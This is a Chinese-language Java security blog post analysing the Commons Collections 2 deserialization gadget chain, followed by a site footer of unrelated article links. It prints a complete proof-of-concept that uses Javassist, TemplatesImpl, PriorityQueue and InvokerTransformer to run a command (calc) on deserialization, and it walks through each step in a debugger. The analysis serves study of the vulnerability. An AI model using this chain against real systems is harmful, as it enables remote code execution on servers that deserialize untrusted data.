Java安全之Commons Collections2分析

Java安全之CommonsCollections2分析首发:Java安全之CommonsCollections2分析0x00前言前面分析了CC1的利用链,但是发现在CC1的利用链中是有版

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之Commons Collections2分析

首发:Java安全之Commons Collections2分析

0x00 前言

前面分析了CC1的利用链,但是发现在CC1的利用链中是有版本的限制的。在JDK1.8 8u71版本以后,对AnnotationInvocationHandlerreadobject进行了改写。导致高版本中利用链无法使用。

这就有了其他的利用链,在CC2链里面并不是使用 AnnotationInvocationHandler来构造,而是使用

javassistPriorityQueue来构造利用链。

CC2链中使用的是commons-collections-4.0版本,但是CC1在commons-collections-4.0版本中其实能使用,但是commons-collections-4.0版本删除了lazyMapdecode方法,这时候我们可以使用lazyMap方法来代替。但是这里产生了一个疑问,为什么CC2链中使用commons-collections-4.03.2.1-3.1版本不能去使用,使用的是commons-collections-4.04.0的版本?在中间查阅了一些资料,发现在3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口,也就是说这是不可以被序列化的。所以在利用链上就不能使用他去构造。

下面我把利用链给贴上。

Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()

下面就来学习一下需要用到的基础知识。 关于javassist上篇文章已经讲过了,可以参考该篇文章:Java安全之Javassist动态编程

0x01 前置知识

PriorityQueue

构造方法:

PriorityQueue()           
	使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)
	使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。

常见方法:

add(E e)           			将指定的元素插入此优先级队列
clear()            			从此优先级队列中移除所有元素。
comparator()       			返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o)          如果此队列包含指定的元素,则返回 true。
iterator()           		返回在此队列中的元素上进行迭代的迭代器。
offer(E e)           		将指定的元素插入此优先级队列
peek()           			获取但不移除此队列的头;如果此队列为空,则返回 null。
poll()           			获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o)           	从此队列中移除指定元素的单个实例(如果存在)。
size()           			返回此 collection 中的元素数。
toArray()          			返回一个包含此队列所有元素的数组。

代码示例:

 public static void main(String[] args) {
        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(2);
        priorityQueue.add(1);
        System.out.println(priorityQueue.poll());
        System.out.println(priorityQueue.poll());
    }

结果:

1
2

getDeclaredField

getDeclaredField是class超类的一个方法。该方法用来获取类中或接口中已经存在的一个字段,也就是成员变量。

Java安全之Commons Collections2分析

该方法返回的是一个Field对象。

Field

常用方法:

get			返回该所表示的字段的值 Field ,指定的对象上。 
set			将指定对象参数上的此 Field对象表示的字段设置为指定的新值。

TransformingComparator

TransformingComparator是一个修饰器,和CC1中的ChainedTransformer类似。

查看一下该类的构造方法

Java安全之Commons Collections2分析

这里发现个有意思的地方,compare方法会去调用transformertransform方法,嗅到了一丝丝CC1的味道。

0x02 POC分析

package com.test;



import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class cc2 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime

        byte[] bytes=payload.toBytecode();//转换为byte数组

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
        PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
        queue.add(1);//添加数字1插入此优先级队列
        queue.add(1);//添加数字1插入此优先级队列

        Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);//暴力反射
        field2.set(queue,comparator);//设置queue的comparator字段值为comparator

        Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}


先来看第一段代码:

        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

我在这里划分了几个部分,这一段代码的意思可以简单理解为一句话,创建动态一个类,设置父类添加命令执行内容。

这里首先抛出一个疑问,上面的代码在前面,添加了AbstractTranslet所在的搜索路径,将AbstractTranslet设置为使用动态新建类的父类,那么这里为什么需要设置AbstractTranslet为新建类的父类呢?这里先不做解答,后面分析poc的时候再去讲。

 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

第二部分代码,反射获取_bytecodes的值,设置为转换后的payload的字节码。_name也是一样的方式设置为test。

那么为什么需要这样设置呢?为什么需要设置_bytecodes的值为paylaod的字节码?这是抛出的第二个疑问。

这里先来为第二个疑问做一个解答。

来看看TemplatesImpl_bytecodes被调用的地方

Java安全之Commons Collections2分析

经过了load.defineclass方法返回了_class。在getTransletInstance()方法里面调用了__class.newInstance()方法。也就是说对我们传入的payload进行了实例化。这就是为什么使用的是templatesImpl类而不是其他类来构造的原因。

Java安全之Commons Collections2分析

而且看到他这里是强转为AbstractTranslet类类型。这也是第一个疑问中为什么要继承AbstractTranslet为父类的原因。

那么就需要去寻找调用getTransletInstance的地方。在templatesImplnewTransformer方法中其实会调用到getTransletInstance方法。

Java安全之Commons Collections2分析

这时候就要考虑到了newTransformer怎么去调用了,POC中给出的解决方案是使用InvokerTransformer的反射去调用。

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

TransformingComparator comparator =new TransformingComparator(transformer);

这又使用到了TransformingComparator是为什么呢?其实在前置知识的地方说过。TransformingComparatorcompare方法会去调用传入参数的transform方法。

Java安全之Commons Collections2分析

而关于compare的办法就需要用到PriorityQueue来实现了。

查看对应的POC代码

PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);

siftDownUsingComparator方法会调用到comparatorcompare

Java安全之Commons Collections2分析

siftDownUsingComparator会在siftDown方法进行调用

Java安全之Commons Collections2分析

siftDown会在heapify调用,而heapify会在readobject复写点被调用。

Java安全之Commons Collections2分析

下面再来看POC中的最后一段代码

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

设置queue.queue为Object[]数组,内容为两个内置恶意代码的TemplatesImpl实例实例化对象。这样调用heapify方法里面的时候就会进行传参进去。

Java安全之Commons Collections2分析

到这里POC为何如此构造已经是比较清楚了,但是对于完整的一个链完整的执行流程却不是很清楚。有必要调试一遍。刚刚的分析其实也是逆向的去分析。

0x03 POC调试

readobject位置打个断点,就可以看到反序列化时,调用的是PriorityQueuereadobject,而这个readobject方法会去调用heapify方法。

Java安全之Commons Collections2分析

heapify会调用siftDown方法,并且传入queue,这里的queue是刚刚传入的构造好恶意代码的TemplatesImpl实例化对象。

Java安全之Commons Collections2分析

Java安全之Commons Collections2分析

该方法判断comparator不为空,就会去调用siftDownUsingComparator,这的comparator是被TransformingComparator修饰过的InvokerTransformer实例化对象。

Java安全之Commons Collections2分析

跟进到siftDownUsingComparator方法里面,发现会方法会去调用comparatorcompare,因为我们这里的compare是被TransformingComparator修饰过的InvokerTransformer实例化对象。所以这里调用的就是TransformingComparatorcompare

Java安全之Commons Collections2分析

在这里传入的2个参数,内容为TemplatesImpl实例化对象。

Java安全之Commons Collections2分析

跟进到方法里面,this.iMethodName内容为newTransformer反射调用了newTransformer方法。再跟进一下。

Java安全之Commons Collections2分析

newTransformer会调用getTransletInstance方法。

Java安全之Commons Collections2分析

再跟进一下getTransletInstance方法,这里会发现先判断是否为空,为空的话调用defineTransletClasses()进行赋值,这里是将_bytecodes赋值给_class

Java安全之Commons Collections2分析

Java安全之Commons Collections2分析

defineTransletClasses()执行完后会跳回刚刚的地方,留意第一个if判断语句如果_name等于null就直接返回null,不执行下面代码。这也是前面为什么会为_name设置值的原因。

再来看他的下一段代码

_class.newInstance()_class进行实例化。执行完这一步后就会弹出一个计算器。

Java安全之Commons Collections2分析

Java安全之Commons Collections2分析

在最后面问题又来了,为什么newInstance()实例化了一个对象就会执行命令呢?

其实这就涉及到了在 javassist是怎么去构造的对象。

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));  payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); 
payload.writeFile("./");

将这个类给写出来,再来查看一下具体的是怎么构造的。

Java安全之Commons Collections2分析

看到代码后其实就已经很清楚了,Runtime执行命令代码是在静态代码块里面,静态代码块会在new对象的时候去执行。

调用链

ObjectInputStream.readObject()->PriorityQueue.readObject()->PriorityQueue.heapify
->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator
->TransformingComparator.compare()
->InvokerTransformer.transform()->TemplatesImpl.getTransletInstance
->(动态创建的类)cc2.newInstance()->Runtime.exec()

0x04 结尾

其实个人觉得在分析利用链的时候,只是用别人写好的POC代码看他的调用步骤的话,意义并不大。分析利用链需要思考利用链的POC为什么要这样写。这也是我一直在文中一直抛出疑问的原因,这些疑问都是我一开始考虑到的东西,需要多思考。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119905.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Eureka&CAP原理

    Eureka&CAP原理CAP原则(CAP定理):CAP原则又称CAP定理,指的是在一个分布式系统中,Consistency(一致性)、Availability(可用性)、Partitiontolerance(分区容错性),三者不可得兼。CAP原则是NOSQL数据库的基石。Consistency(一致性)。Availability(可用性)。Partitiontolerance(分区容错性)。分布式系

    2022年5月19日
    46
  • 无人机相关专业术语有哪些_国际商务英语专业术语

    无人机相关专业术语有哪些_国际商务英语专业术语无人机UAV(UnmannedAerialVehicle),drone地面控制站GroundControlStation,GCS固定翼fixed-wing旋翼rotary-wingRover陆路,水路多旋翼multirotors,multicopters四旋翼4-rotorhelicopters,quadcopter加速计accelerometer陀螺仪gyr…

    2022年8月15日
    4
  • Python动态爬虫爬取京东商品评论[通俗易懂]

    Python动态爬虫爬取京东商品评论[通俗易懂]Python动态爬虫爬取京东商品评论1.概述京东商城是Python爬虫初学者试手的经典平台,反爬虫程度较低,但评论采取了动态加载的方式,爬取京东商品评论是学习动态爬虫的一个极佳方法。动态爬虫,即针对动态加载JSON文件网页的爬虫,其原理与静态爬虫没有本质区别,只是不爬取所见的静态目标网页,而是寻找该网页所加载的JSON文件,爬取JSON文件中的内容。2.目标观察观察京东具体商品评论页面:点击商品评价页:发现商品评价翻页的url不改变,可推测出其采用动态加载的方式,同时,会发现直接获取该

    2022年7月26日
    9
  • ehcache缓存原理_实现lru缓存

    ehcache缓存原理_实现lru缓存运用你所掌握的数据结构,设计和实现一个 LRU (最近最少使用) 缓存机制 。实现 LRUCache 类:LRUCache(int capacity) 以正整数作为容量 capacity 初始化 LRU 缓存int get(int key) 如果关键字 key 存在于缓存中,则返回关键字的值,否则返回 -1 。void put(int key, int value) 如果关键字已经存在,则变更其数据值;如果关键字不存在,则插入该组「关键字-值」。当缓存容量达到上限时,它应该在写入新数据之前删除最久

    2022年8月8日
    3
  • strtok函数和strtok_r函数

    strtok函数和strtok_r函数注:本文转载自博客园,感谢作者整理!1.一个应用实例网络上一个比较经典的例子是将字符串切分,存入结构体中。如,现有结构体typedefstructperson{charname[25];ch

    2022年7月1日
    28
  • mysql fsync_mysql fsync

    mysql fsync_mysql fsync标签:1介绍数据库系统从诞生那天开始,就面对一个很棘手的问题,fsync的性能问题。组提交(groupcommit)就是为了解决fsync的问题。最近,遇到一个业务反映MySQL创建分区表很慢,仔细分析了一下,发现InnoDB在创建表的时候有很多fsync——每个文件会有4个fsync的调用。当然,并不每个fsync的开销都很大。这里引出几个问题:(1)问题1:为什么fsync开销相对都比较大…

    2022年5月6日
    50

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号